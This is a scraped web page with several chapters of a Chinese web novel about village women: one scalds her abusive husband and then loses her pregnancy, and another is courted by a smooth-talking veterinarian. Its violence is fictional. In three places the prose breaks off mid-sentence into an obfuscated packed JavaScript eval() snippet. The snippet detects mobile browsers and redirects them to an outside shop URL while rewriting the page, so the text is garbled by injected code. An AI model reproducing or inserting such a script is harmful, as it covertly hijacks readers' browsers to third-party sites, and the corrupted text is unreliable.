走进盼儿家院子,邻居老张婆子迎上来,“你们可算来了,快进屋瞅瞅吧!” “张大娘,到底怎么回事啊?”于穹问道。 “哎呦别提了,早上我醒得早,起来出去倒灰,就听见这院不是好叫唤,喊声那叫一个惨呐!我跑来上他们家一看,都吓着了!真没见过哪家两口子打仗打这么狠的……” 说话间已经来到房前,方英的心提到了嗓子眼,拽开门冲进盼儿家外屋。 这房子的格局,进门就是厨房,也习惯叫做外屋,厨房的两侧各是东屋西屋两个卧室,盼儿和温清璞平日住在东屋。 厨房里有两口大铁锅,其中一口锅里烧了半锅开水,锅台上放着一盖帘待下锅的饺子,灶坑里架着火,锅里的开水仍在剧烈沸腾。 秋天的早晨气温较低,大量的蒸汽在外屋里凝结成浓重的雾。 方英透过浓雾,朦朦胧胧看见盼儿,她坐在灶坑前一个小马扎上,拿着烧火叉仍在往灶坑里添柴。 外屋门被打开后,雾气散到室外,室内变得清晰,方英跑到盼儿面前,蹲下身子问她:“盼儿,你没事吧?” 她看到她脸上,有红肿的巴掌印,巴掌印上还挂着一道道泪痕。 “温清璞打你了?!”方英焦急又心疼地追问。 盼儿不说话,一边用烧火叉翻动灶坑里的柴,似乎想让火烧得更旺,一边不住地流眼泪。 她抬起手,抹了一把脸。方英注意到,盼儿的手指尖和指甲上都粘了很多血污,不是鲜血,而是血凝结后形成的殷红污垢。 她暂时不清楚,盼儿究竟经历了什么,但她知道,她心疼她,心疼极了。 下一秒这心疼转为愤怒,方英怒火中烧,火冒三丈,张望一圈不见温清璞,看到东屋的屋门紧闭。 方英走过去,推了一下东屋门,未能推开,这门似被从里侧插住了。 她后退一大步,抬脚猛力将门“咣”地一声踹开。 踹门时她想,她要替盼儿讨公道,她要找温清璞算账,前世愁今世怨一起算,她要狠狠揍那个人渣家暴男一顿,把他揍扁! 然而,当门被踹开,当她看到温清璞,她却怔住了、惊呆了。震惊竟然像一盆冷水一样,将她的一腔怒火浇灭大半。 屋里温清璞的模样完全出乎方英的意料,他蹲在屋子的一个角落,瑟缩着浑身发抖,像是受到了极大的创伤。 他的上衣湿透了一大片,头发也全湿,一绺绺贴在头皮上。而他的整张脸,都红肿胀大,布满水泡,有些没破,有些像是被抓挠破了。 破掉的水泡渗出的组织液和血液混在一起,像红色胶水一样糊在脸上,也粘在他的眼镜上,烂烂乎乎、一团混沌、狼狈不堪。 他的脑袋像一个被烫过的猪头,也像一个腐烂的血葫芦,方英虽然不可怜他,但也觉得惨不忍睹。 进屋的几个人都呆住好一会儿,因为听说盼儿家里打仗了,他们都下意识以为盼儿是柔弱女子、是吃亏挨打的一方,可眼下的情形,显然并非如此。 枝枝先缓过神,难以置信地开口问:“盼儿,这……这是你干的吗!?” 盼儿站在几人最后,隔着远远的距离瞪了温清璞一眼,眼中噙着泪,眼神却冰冷,深深点了一下头。 枝枝皱眉咧嘴,“你这是把他秃噜了啊!”她喃喃道:“赶上秃噜猪头了,毛都快烫掉了。” 盼儿脸上有巴掌印,而温清璞的脸已经惨烈得不像一张脸,谁都看得出,这夫妻二人发生了激烈的打斗,却猜不出原因。 “盼儿、温老师,你们俩感情不是一直挺好的吗?”于穹问道:“这是因为啥生这么大气啊?” “昨天你和英子办喜事儿,吃席的时候,那个小喇叭匠子白云飞坐我旁边,和我开玩笑多说了几句。” 盼儿眼里闪着泪花,眼神中的心寒伤痛和厌恶愤恨两相参半,“就因为这,晚上回来他就跟我发火,对我骂脏话,还打我耳光。” “他那是开玩笑吗?!贱嗖嗖地叫你‘仙女姐姐’,还问你结没结婚,说要托媒人上你家说亲。” 温清璞依旧蹲在角落,张开被血水糊住的嘴巴,扯着嗓子声音由温吞变得尖利,吼道:“你都怀孕五个月了!他他妈眼睛瞎啊?” 老张婆子好声好气道:“温老师,你家盼儿苗条,五个月也不太显怀,那个小喇叭匠子估计没看出盼儿怀孕了吧。” “白云飞才19,性格爱说爱闹,但没恶意,开过玩笑他自己很快就忘了。”于穹劝道:“温老师,咱们当男人的,心胸得宽广,犯不上为这点事儿生气。” “温清璞,你小肚鸡肠,介意别的男人和盼儿开玩笑,那昨天在酒席上你应该当场发作,直接和白云飞打一架啊!” 方英厉声质问:“回到家里窝里横,对自己媳妇儿又打又骂,你这算什么能耐?” “我对她又打又骂?我哪有她狠!”温清璞不知是发恨还是后怕,牙齿咬得咯咯作响,仰起烂脸盯着盼儿,“最毒妇人心,这女人想烫死我!” “我就是要烫死你!”盼儿整个人可怜、悲伤、难过、愤怒,气势却不弱,“你昨天晚上,骂完我打完我,道两句歉就跟没事人儿一样,还说想吃我包的饺子。” 盼儿冷笑一声,“行啊,爱吃我包的饺子是吧?我起早给你包。”她瞪着温清璞,用她最凶的语气说:“但是煮饺子的开水,我得让你先尝一瓢!” 方英大致清楚了事情的经过,想必盼儿先舀起一瓢滚烫的开水,泼到温清璞脑袋上,紧接着又对那烫伤的脸一阵抓挠,才造成温清璞现在这副惨样。 盼儿手指上的血垢,定是抓挠时沾染的。 方英心底里产生一种不可言说的欣慰感,因为如今的盼儿懂得反抗、勇于反击。尽管盼儿的做法有些过火,但防卫过当,总比无辜受害要好。 她看着盼儿,看到她仍在流眼泪,但从她的眼神里,她除了难过和恨意,还看到前所未见的坚强和勇敢。 盼儿噙着泪,看了看方英和枝枝,“这房子,是我姐们儿送给我的。” “你要是想和我过日子,就好好过。”她停顿几秒,大声对温清璞说:“要是不想和我过,那就离婚!从这房子里滚出去!” “你敢让我滚?”温清璞用手扶墙,撑着缓缓站起单薄身子,从血肉模糊的烂脸上摘下眼镜,露出凶光毕露的双眼,目眦欲裂,凶神恶煞般嘶吼:“丘盼儿,你怀着我的孩子!” 他的面目丑陋骇人,神情病态扭曲,完全没了人样,浮现出方英梦中曾见过的魔鬼真容。 “你这个不要脸的贱货,没结婚就跟了我!”他癫狂叫嚷:“现在你大着肚子,除了我还有哪个男人肯要你?你是被我穿过的,又脏又臭的破鞋,还有哪个男人会要?” 盼儿气得浑身发抖,咬着嘴唇泪流满面,冲到温清璞面前指着他欲骂:“温清璞,你……” 然而,她没能骂出一句完整的话,只觉眼前一黑,身子一晃,突然晕了过去。 方英和枝枝及时上前扶住盼儿,“盼儿!” 慌乱中方英注意到,盼儿的裤子渗出一片鲜红血迹,她脸色骤变,“不好!快送盼儿去医院!” 盼儿被四轮拖拉机送到县城医院,经过一番救治,那个五个月大的胎儿没能保住,最终流产了。大人身体受到损伤,万幸性命无忧,并无大碍。 盼儿住院期间,方英和枝枝在医院陪护。 而温清璞,则顶着一张烂脸,跪在盼儿的病房门外,说是忏悔乞求原谅。 但明眼人都看得出,魔鬼再度收起獠牙戴上假面,无非是因为没了孩子钳制盼儿,所以他假意逢迎、蓄意接近,妄图修复牵绊,他日再次制造新的枷锁。 盼儿住院五天,温清璞则在病房门外跪了五天。方英和枝枝,总会至少留一个人在病房里陪着盼儿,绝不允许温清璞入内,不准他见盼儿。 盼儿住院的最后一天晚上,方英从外面买了两瓶黄桃罐头回来。 在病房门外看到跪着的温清璞,她气不打一处来,真恨不得猛踹他几脚,再狠扇几下他的烂脸。 但她终究压制住了怒火,一来对这种人渣动手属实脏了手,二来若打他的动静引来盼儿,让盼儿烦心更是得不偿失。 她走进病房,快速关上了房门,提着罐头走到盼儿病床前,“盼儿,我给你买了桃罐头,你吃点吧?” 盼儿靠着枕头半坐在病床上,轻轻点了一下头。 她形容消瘦,唇色发白,双眼明净,憔悴中依然清丽。 “来,我给打开。”枝枝拿过一瓶罐头,啪啪拍了两下瓶底,再一旋瓶盖,轻松打开,放入小勺放到盼儿面前的小桌上,“你多吃点儿,把这罐都吃光。” 盼儿嘴角浅浅的微笑一掠而过,“我哪吃得下这么多啊。” “吃不下也得吃,瞅你这几天瘦的。”枝枝说道:“人家大夫都说了,让你多吃恢复体力。” “对,盼儿多吃点。”方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“如果孩子还在,我兴许会为了孩子,凑合跟他继续过日子。”盼儿轻抚了一下瘪掉的肚子,悲伤却平静,“现在孩子没了,或许是天意,让我和他之间再无羁绊。” “他竟然对我骂脏话,还动手打我……”她哭起来,破碎怨愤的泪珠滚落脸颊,“是我看错人了,我不要再错下去,我一定要和他离婚!” “离婚对,就该踹了他!”枝枝帮盼儿擦了擦泪,“咱姐们儿长这么好看,做饭又好吃、又会理头发、还能在服装厂上班赚钱,到啥时候好小伙儿都得抢破脑袋!” “盼儿,你要得意文化人儿,赶明儿托张大白话,再给你介绍个别的老师啥的。” 盼儿脸一木,“别了,短期内我不想再找对象,感觉一个人过挺好。” “而且,我现在觉得,文化人儿也就那样,光有文化没什么用。” 方英有点诧异,试探问道:“怎么说?” “以前我崇拜温清璞,觉得他有文化哪都好。”盼儿轻叹了口气,“但是真跟他在一块过日子,发现挺没劲的。” “他整天抱本破书看,借口身子虚总说没力气,端书生架子啥活都不干,家里做饭打扫都是我来,有时候连挑水都要我去挑。” 她撅了一下嘴,抱怨道:“就连、干那事儿的时候,他都要我伺候他,总让我在上面动,还要我给他……” 方英瞳孔地震,听不下去,红着脸制止道:“哎呀呀!快别往下说了!” 盼儿久违地露出发自内心的笑,鼓鼓嘴小声道:“你不是也结婚了么,男女之间的事你应该懂了吧……” “我结婚第二天就照顾你来了,我……”方英有点羞又有点气,把话题甩出去,“我结婚了,枝枝还没结婚啊!这种事不要拿出来讲!” “就是啊,丘盼儿,我看你现在有点不知磕搀!”枝枝已经听得满脸通红,“你是真变了,没羞没臊的,还在这赖上大彪了!” 盼儿看着枝枝和方英,眨了眨水灵灵的大眼睛,开怀大笑起来。 她的笑容和从前一样灵动美丽,但她的心态变得更加成熟坚韧,她的头脑变得更加清醒聪慧。 盼儿出院当天,便去乡里和温清璞办理了离婚手续。 然后她进县城,先去了妇联,又去了教委,最后拿着那支钢笔去了公安局,举报报案一条龙。 纵火一事经过审理,温清璞供认不讳,被判处有期徒刑三年。他进了监狱,加上家暴孕期妇女,影响极为恶劣,受到处分丢了乡中学的工作。 从此以后,他将永远消失在盼儿的世界。 盼儿休养了一个秋天,在冬天她的身体完全恢复,人也走出了阴霾,重新变得开朗快乐。 然而,鲁枝枝的冬天却很不美好,是黑色的残酷的,因为她的母亲在这个冬天突发疾病去世了。她家里只剩下她一个人,悲痛低落,抑郁了好久。 直到第二年的春天,一个奸头臊脑的男人,来到她家猪圈,闯进她的生活。1 27. 第27章 花舌子 这天早上,方英送于穹到大门外。 她帮他理了理衣领,柔声叮嘱道:“路上小心,骑摩托慢点,别着急。” “上班倒是不急,但是我一下班就归心似箭。”他看着她笑,眼里像盛了蜜,“急着回家陪媳妇儿。” “哎呀,行了!”方英无奈又温柔地笑了笑,“人家跟你说正经的呢,要注意安全。” 转眼他们结婚半年了,她还是受不了他肉麻撩人的情话,可偏偏又好喜欢。 他笑道:“我知道了,放心吧。” 她点了一下头,“等过些天,城里的房子装好,天气不好的时候,你就可以在楼上住了,不用天天辛苦来回跑。” 于穹在县文化馆工作,年初刚分到了家属楼,是一套两居室,最近正在装修。 “那可不行,我还是要回家住的。”他柔情蜜意地看着她,轻轻说道:“不抱着你,我睡不着。” 方英嘴角上扬,又羞又喜红了脸颊,一时不知该说什么亲昵的话回应他。 “呦!”不远处传来丘盼儿的笑声,打趣道:“英子,又在这送情郎呢?” 方英循声望去,瞧见盼儿正沿着村道往这边走,她笑着问:“盼儿,你干啥去啊?” “我上枝枝家。”盼儿说道:“她孵的小鹅,不是说这两天出壳么,我去看看出没出,我想抓几只回家养。” “对哦,她昨天请假,说这两天不去服装厂上班了,要在家看鹅蛋。”方英笑吟吟道:“盼儿,我和你一起去,我也想抓几只小鹅崽!” “好哇!” 于穹骑上摩托去上班,方英和盼儿则一起来到枝枝家。 进门看见枝枝没在炕上守着鹅蛋,而是坐在梳妆台前,拿着一根眉笔,对着镜子正在专心致志地画眉。 方英和盼儿感到十分诧异,因为鲁枝枝一向对化妆打扮没兴趣,甚至可以说是粗糙不羁,平时连雪花膏都很少擦。 盼儿道:“枝枝,这大早上的,你今儿咋有心情描眉画眼呢?” 枝枝听到动静,转头看向进门的两人。 她这一转头,方英和盼儿顿时一惊,惊讶,还有点惊恐。 枝枝本身皮肤黑,此刻脸擦得很白,和脖子明显两个色,黑白界线分明又割裂。而且她的脸蛋和嘴唇都涂得通红,眉毛画得又黑又粗,整个妆面用力过猛,显得滑稽古怪。 方英忍俊不禁,“枝枝,你这妆化得太浓了!不好看,快擦了去!” “枝枝,你这脸红得像猴屁股,眉毛像两条贴树皮!”盼儿也大笑,“哪有你这样化妆的呀!” 枝枝尴尬中带着不悦,闷声说道:“那我洗了去。”说罢,低着头走去外屋洗脸。 盼儿疑惑,“枝枝,你今天要相对象吗?咋还化上妆了?” “相啥对象啊,没有的事儿。”枝枝洗完脸回来,“之前进城,咱们不是一起买了几样化妆品么,我就是寻思擦擦试试。” 方英端详着枝枝洗净的脸,“枝枝,你五官很有特色,吊梢眼嘴唇饱满,有种别样的韵味。” “你其实不用过分追求肤白,下次上街我帮你选几样适合你肤色的化妆品。” 她笑着说:“到时候我和盼儿教你化杂志上那种欧美妆,肯定很适合你,又酷又辣。” 枝枝抓抓自来卷的头发,露出稍显腼腆的笑颜,“行啊,那太好了!” 炕上隐约传来“呱呱咕咕”的小鹅叫声,盼儿兴奋地跑过去,慢慢掀开鸭毛薄被子,“呀!枝枝,你摸的小鹅出壳啦!” 这几年春天,枝枝都会摸鹅蛋,孵出小鹅推车去大集上卖钱。今年她摸了两百个鹅蛋,占了大半铺炕。 这年代个人家孵小鹅,比不了以后的孵化场,没有恒温孵化箱,在炕上铺上垫子,鹅蛋放垫子上,再盖一层被,温度调节全靠烧炕和增减被褥。 炕不敢烧太热,但也不能太凉,有时夜里凉了,半夜都要起来烧火,睡不了成宿觉。 这活可不轻松,非常熬人。从种蛋开孵,到30天后出壳,孵蛋人每天都要绷紧一根弦,又要做好保温、又要及时翻蛋、还要照灯观察蛋的发育情况、及时淘汰发育不良的坏蛋。 一个月下来,人都要熬瘦一圈。 孵蛋最关键的时期,就是出壳这两天,孵蛋人必须守在旁边。 禽类幼雏啄壳,东北话俗称“叨解儿”。 有的小鹅叨解儿的时候会遇到困难,扁扁的小嘴啄不动厚厚的硬壳,或者脑瓜转到了鹅蛋的小头,施展不开叨不动。把蛋拿近耳边贴着听,能听到小鹅宝宝在里面急得咕呱直叫。 这时候需要孵蛋人帮忙,用锥子把蛋壳顶部空腔戳开一个小口透气,否则小鹅闷在蛋里会憋死的。 当然,大多数的小鹅能够正常叨解儿,顺利出壳。孵蛋人需要将出壳的小鹅及时擦干,转移到其他温暖舒适的地方。 现在鲁枝枝家炕上的两百个鹅蛋,有半数已经叨解儿,程度不同。 有的啄开一个小口,里面的小嘴还在继续发力叨壳;有的啄出半圈裂纹,伸出小嘴嘎巴着喘气;有的已经露出一个焦黄的小脑袋,身子正在奋力地往出拱…… 最快的几只,已经爬出蛋壳,弱小却很有精气神,瞪着圆圆的小黑眼睛,昂着脑瓜骄傲地叫唤。 “这小东西,我一眼没照到,这么会儿爬出来了!”枝枝面露喜色,拿着柔软的抹布轻轻给刚出壳的小鹅擦毛。 “小鹅崽真好玩,毛茸茸的太可爱了!”方英伸出食指,用指腹小心翼翼地摸了一下小鹅已经干毛的小脑瓜,被可爱的小家伙萌化,“枝枝,你真厉害,摸出这么多小鹅。” “是啊枝枝,你太能干了!”盼儿轻捧起一只小鹅,拿到眼前看,“你又摸小鹅,又养猪下羔,还不耽误在厂子上班,简直是铁人。” 枝枝神色微变,似是突然想到什么,“英子、盼儿,你俩上班去吧,等鹅出差不多了,我挑几只最欢实的,给你们送家去。” 方英看了一眼挂钟,时间还早,“上班来得及,我在这看会儿。” “对,上班赶趟儿。”盼儿拖鞋上炕,对方英唤道:“英子,你也上炕来,你看炕里这几只好像马上要出来了!” “是吗?我看看。”方英也上了炕,看到炕里有几只小鹅半个身子都已爬出蛋壳,“哎呀,可不是么!” 二人盘腿坐在炕里,饶有兴致地一边乐、一边看、一边讨论: “你说这几只,谁会最先出来?” “我看是它,它半拉身子都拱出来了。” “我觉得应该是这只,它劲头足哇!你看这小翅膀,多有劲儿。” …… “鹅崽子出壳不都这玩意儿吗,没啥看头。”鲁枝枝再次对二人催促:“快到点了,你们俩该去厂子上班了。” 方英和盼儿不为所动,注意力完全在看鹅,在听小鹅叫,听不进枝枝的话。 过了一会儿,一个油腻腻、滑溜溜、贱兮兮的男声,传进她们的耳朵:“小枝儿~~~哥来了!” 方英和盼儿的目光从小鹅移开,看向门口时,那声音的发出者已经闯进屋来。 此人三十出头,高个儿,不胖不瘦。脖子上像顶着一个立起来的椭球,俗称角瓜脑袋,头长脸长,小眼薄唇,一笑露出一口灰黑的牙齿。 这种牙是这个年代的一种特色病,叫做四环素牙。有的人小时候吃四环素类抗生素吃多了,药物和钙质结合,导致牙齿着色,轻则发黄,重则灰黑。 眼前这个人名叫贾文才,除了是黑牙子,还是个花舌子,在全乡、乃至全镇都很出名,臭名远扬。 十里八村曾广泛流传着这样一句话:“黑牙子,花舌子,坑惨老爷子。” 贾文才本是个外乡人,七年前娶了本乡刁兽医的独生女, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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自那之后,这个奸头臊脑、花言巧语的花舌子便出了名。 刁兽医年纪大了,两年前从乡兽医站退休,贾文才接了老丈人的班,成了兽医站的防疫员,春秋会到各村养猪的人家给猪打疫苗。 他这人自来熟爱唠嗑,加上他之前的炸裂事迹,这乡里的人几乎都认识他。 贾文才看见方英和盼儿坐在枝枝家炕上,稍稍愣了一下,脸上的笑容却一点不僵,“英子老妹儿,盼儿老妹儿,你们俩也在这呢!” 方英和盼儿敷衍地微笑点了一下头,二人对视一眼,都觉得有些纳闷。因为枝枝家的猪前阵子已经打过春季疫苗,不知这花舌子这会儿来她家干嘛。 见枝枝站在一旁不做声,方英平和地发问:“贾大哥,你到枝枝家来,有什么事吗?” 贾文才小小的眼睛里,目光闪烁了一瞬,脸上依然堆着笑,呲着黑牙说道:“哦,我去给你们村老郑家猪打针,路过这,进屋来喝口水。” 枝枝闷声说道:“水缸在外屋,你去缸里舀水喝吧。”说罢,将贾文才推出门外。 贾文才离开后,方英和盼儿都觉得枝枝有些不对劲,因为她的表情很不自然,眼神闪躲别别扭扭,好像有事想说,又好像尴尬磨不开说。 方英喃喃道:“这花舌子可真烦人,上大姑娘家来喝啥水啊。他到老郑家给猪打针,人家还能不给他水喝吗?” “就是啊,我看他不是好饼!”盼儿想了想说:“枝枝,现在你家里就你一个人,我那也就我自己,我看等你这炕鹅崽卖完,咱俩干脆搬到一起住吧?” “你搬去我那,或者我搬来你这,咱俩做伴儿,啥事互相有个照应。” “我看行,你们俩一起住更安全。”方英说道:“要不然像贾文才刚才,突然闯进来了,大白天还好,晚上多吓人,万一耍流氓呢。” 枝枝憋红了脸,沉默半晌开口:“他不是耍流氓,他、他是想追求我。” 方英和盼儿两脸震惊,无法接受,“啊?!” “他不是刁兽医的养老姑爷吗?” “他家里有媳妇啊!听说不是还有个五六岁的闺女吗?” 枝枝垂着头,低声说了句:“三个月前,他离婚了……” 28. 第28章 姐们儿闹别扭 这年代倒插门的上门女婿,很少有离婚的,加上贾文才这人风评太差,一听说他离婚,方英下意识认为,他肯定犯了什么炸裂奇葩、不可原谅的错误。 她眉头紧皱,对枝枝问道:“他因为啥离婚啊?是不干啥坏事了?” “他离婚不赖他。”鲁枝枝背倚着柜站在地上,对坐在炕上的方英和盼儿讲道:“去年冬月我妈没了,他爹也差不多那两天儿没的。他家里还剩下他妈、和三个十几岁的妹妹。” “他爹一没,他妈领着他仨妹子投奔他,去年腊月前儿到刁兽医家。但是刁兽医容不下她们,据说年三十儿晚上大吵了一架,大过年把那娘四个赶出门了。” 枝枝的吊梢眼中浮现一抹同情和不忍,这种软心肠的表情在她脸上并不常见,“贾文才孝顺,不忍心不管他老妈和妹子,所以和老丈人闹掰了,就离婚了。” “依我看,老刁家不接纳那娘四个有情可原。”盼儿撇了一下嘴,“人家倒插门都是一个女婿插进去,哪有扯拉一家子插进去的。” “就为这,贾文才就和媳妇离婚了?”方英暗暗觉得,贾文才对枝枝说的版本肯定经过他的巧舌美化,实际可能另有隐情。 “那他的小闺女归谁了?” “闺女归了女方,养在老刁家。”枝枝说道:“贾文才和妈妹被赶出来,在乡里找了个空马架子,一家人现在挤在那呢。”1 “那他现在这条件,也没法再娶媳妇啊,连像样房子都没有。”方英思索着说:“他在乡兽医站当防疫员,开钱应该也不多吧,养活妈妹估计都很困难。” “是啊,枝枝,他追你也白追。”盼儿笑道:“这花舌子痴心妄想,你在咱村有房有工作,总不可能嫁到他那个破马架子里,和他妈妹一起挤那吧?” 鲁枝枝低着头,沉默半晌,低声开口:“是这么打算的,他和他妈妹以后来咱村,搬到我这来……” 方英和盼儿震惊地睁大眼睛,异口同声:“啊?!” 她们二人看透了,贾文才的算计明摆着,他被刁兽医扫地出门,现在是想换一家吃绝户。 方英心中一阵惆怅,这一次她无需做梦,相当于开卷考试,枝枝的选择明显是个烂答案。 盼儿又急又恼,“不是枝枝,我听你这意思,你还真愿意?真打算嫁给那花舌子啊?” 枝枝抬起头,眼神坚定倔强,摊牌般说道:“我觉得贾文才人挺好,我想嫁他怎么了?” “他哪好哇?奸头臊脑的,长得也不行!还爱占小便宜,之前上我爸妈家给猪打针,赶上家里烀苞米,坐炕上啃两穗还不够,还得另揣两穗走。” 盼儿不忿道:“关键他一个有过孩子的二婚男,你是黄花大姑娘,咋能嫁给他当填房的呢?” 枝枝冷哼一声,瞪着盼儿道:“你当初嫁的倒是嘎嘎新的纯小伙儿,结果怎么样?还不是挨打受骂?还不是离了婚?” 屋内气氛紧张起来,方英都没想到,枝枝竟会对盼儿说出这般伤人的话。 盼儿被戳中痛处,勾起伤心回忆红了眼圈,嘴唇颤抖着又气又难过地说了句:“我离过婚,我也看不上贾文才!” 方英开口劝道:“枝枝,盼儿说得没错,贾文才绝对不能嫁。” “且不论头婚二婚,就说他那一家子住过来,你得帮他照顾老妈,还得拉扯三个小姑子,负担太重了,要挨很多累、操很多心的。” 她环顾了一圈枝枝的家,“你家这是里外屋两间房,就这一铺炕,以后结了婚,难道打算和他、和他妈妹都在这一个炕上住吗?就算再另搭一铺炕,或者中间拉幔子,那也不方便啊!” “再者说了,人无千日好,花无百日红。都生活在一起,婆媳矛盾加上姑嫂矛盾会很头疼,而且他和前妻还有个闺女,往后罗烂多了去了!” 她语重心长,“枝枝,贾文才配不上你,你肯定能找到更好的对象。” 枝枝面无笑意,冷冷说道:“英子,我哪比得上你呀,离了陈广林,跟个臭唱二人转的穷鬼好。” 她口气酸涩,“谁成想那穷鬼还唱出名了,摇身一变成了城里上班的干部了。” “你怎么说话呢?”方英有些生气,“唱二人转的就唱二人转的,什么叫‘臭唱二人转的’?穷人就穷人,什么叫‘穷鬼’啊?” 她护夫,大声说道:“明明在说你的事,你说我们家于穹干嘛?” “不说你家于穹,我就说说你。”鲁枝枝的黑脸绷着,“英子,你嫁个好人,自己也有本事,会做裁缝,还办起服装厂。” 她看着方英,目光落在她脖子上的金鱼项链,坦荡大方地说:“你过得好,你穿金戴银,我羡慕你,但我一点不嫉妒你。” “因为咱们是好姐们儿,多个脑袋差个姓的交情,比亲姐妹还亲还近。”她面色冷峻,语气生硬,“我过得不如你,也嫁不着什么好小伙儿,但你也用不着,跑到我家来笑话我!” “我没有笑话你!”方英认真说道:“枝枝,我和盼儿劝你,跟你说这些,是为了你好!我们……” 鲁枝枝梗着脖子,一脸固执地打断道:“我不用你们为我好!” 她大步走到炕沿边,伸手去拉坐在炕里的方英和盼儿,气鼓鼓道:“你们俩都走,我不爱听你们说话,别在这烦我!” 她说着,一只手抓住方英的胳膊,另一只手抓住盼儿的脚踝,猛地使力把两人往炕下拽。 方英心里感叹,鲁枝枝的力气真是大。 她和盼儿像两只小鹅崽一样,想挣扎却丝毫抵抗不了枝枝的蛮力,被她强横地拽下炕,连鞋子都没来得及穿,又稀里糊涂被推搡出门。 几秒之后,她们的鞋子也被没好气地扔出来,枝枝回屋插门,她们俩和地上放片儿的鞋子一起被关在了门外。 整个过程像出闹剧,发生得太快。 方英和盼儿在门外,愣住好一会儿才反应过来,各自穿上鞋子,耷拉着脑袋、生着闷气、灰溜溜地离开枝枝家。 一起走在去厂子的路上,盼儿气得跺脚,“气人!气死我了!鲁枝枝太气人了!!!” 方英心里想:“你犯傻那时候,比她还气人……”这话她没说出口,只是无奈地说:“枝枝这是中毒了,中了那花舌子的毒了。” 她愁闷了一整天,下班回到家见外屋门敞开着,看来于穹今天回来得早,比她先到家。 她在门口就闻到一股炒菜香味,进门看见于穹正在锅灶前忙碌,“好香啊!今天做什么好吃的?” “媳妇儿回来了!”他对她笑着说:“我碰见有卖鱼的,说是捞的开河鱼很鲜,买了一条回来炖,马上出锅了,晚上咱们吃鱼。” 她走过去,从背后抱住他,搂着他的腰靠在他背上。 他放下锅铲,转回身将她拥进怀里,似哄她又似逗她道:“想老公了吗?嗯?” 她温声软语回应: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17361158|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “想了,好想你。” 他见她颦着眉嘟着嘴,觉察到她不开心的小情绪。他低下头,额头抵了抵她的脑门,“怎么了柔柔?怎么不太高兴的样子?” 她轻轻叹了口气道:“和枝枝闹别扭了。” 在饭桌上,方英一边吃饭,一边对于穹讲了一遍枝枝和贾文才的事,“我真想不通,枝枝怎么会突然想嫁给贾文才。” 于穹一边吃饭,一边认真听着,想了想说:“其实,我觉得能理解。” 方英一脸疑惑,呆呆看向于穹。 “我记得,枝枝和我同岁吧?今年24了。她比你大两岁,比盼儿大一岁,你结婚了,盼儿结了又离了,就剩她还没结婚,张大白话给她介绍几次相亲都没成,枝枝心里应该也有压力,想快点结婚。” 方英不以为然,“可是24岁,明明还很年轻啊!” 于穹笑道:“我也觉得24岁很年轻,可是很多村里人不这么想。” “你看咱村这些姑娘,大多数都是二十出头就嫁人,更早的十八九。枝枝24,有的闲人背后议论,说她是老姑娘。枝枝虽然明面不在意,但心里估计也是着急的。” 方英点点头,“你分析的有些道理。可是就算想嫁人,也得选个好人啊,不能剜盘子就是菜吧?” 她困惑道:“我搞不懂枝枝看上贾文才什么了。” “枝枝性子刚强,但她妈去年冬天突然过世,她前段时间肯定是孤单脆弱的。”于穹分析道:“贾文才那个时候出现,对枝枝嘘寒问暖献殷勤,关心她溜须她,枝枝必然会感动。” “再说,那花舌子油嘴滑舌、能说会哄,枝枝喜欢他也不奇怪,女孩子都爱听甜言蜜语吧。” “你好像很懂嘛~”方英似笑非笑,“你说那些好听的甜言蜜语,也是哄我的吗?” 于穹哈哈笑道:“我哪会讲什么甜言蜜语,”他夹了一块鱼肉到她碗里,深邃明亮的眼眸笑意盈盈地看着她,“我对你说的都是真心话~” 方英夹起鱼肉送入口中,笑容幸福满足。 接下来的几天,枝枝赌气没有去服装厂上班。 方英想去找她,又拉不下脸,怕见了面尴尬,而且她仍然不看好贾文才,无法违心说出支持的话。 这天早上,她在村道上远远看见贾文才背了一个巨大的背篓,往枝枝家的方向去。 她悄悄跟在后面,看到贾文才走进枝枝家的院子。 他卸下背上的背篓,里面是满满一大篓野菜,有婆婆丁和曲麻菜,想来是给枝枝用来喂鹅崽的。除了野菜,背篓里还有一把野花,色彩缤纷、鲜艳盛放。 贾文才唤了一声“小枝儿~~~”,背过身将那把野花拿在手里,举在面前遮住脸,听到枝枝走近的脚步声,再转过身对着枝枝,慢慢将花移开,露出呲着黑牙的笑脸。 枝枝接过那把漂亮芬芳的花,看看花又看看贾文才,露出发自内心的笑。 方英悄悄蹲在柴火垛旁,看到了枝枝脸上的笑,那笑容灿烂明亮,洒脱肆意,充满生机和希望。 在这个男人出现之前,这样的笑容,在枝枝脸上从未出现过。 方英不确定,贾文才是否真心喜欢枝枝,或者说他的喜欢是否带着企图。但她已经确信,枝枝真心喜欢贾文才,而且这种喜欢,使她变得更加快乐,照亮了她的生活。 她想走过去和枝枝说话,想了想又改变主意,转而去了盼儿家。 29. 第29章 金子 这个年代的交通非常不便,想进城要么骑自行车、骑摩托,要么坐拖拉机、赶牛马车,大客车只通到镇上,想坐大客得起早走去镇上坐车。 不过,时代也在悄然发展进步。半个月前,本村的老姚家买了辆面包车,拉人跑起客运,早上开进县城,晚上再开回村。 有了这辆面包车,乡亲们进城可比以前方便多了。 这天,方英和盼儿就坐面包车进了一趟城。傍晚她们回到村里,却没有各回各家,而是一起来了枝枝家。 进门瞧见鲁枝枝一个人坐在炕里,面前放着一张小炕桌,桌上的主食是黑面馒头,菜是葱蘸酱。 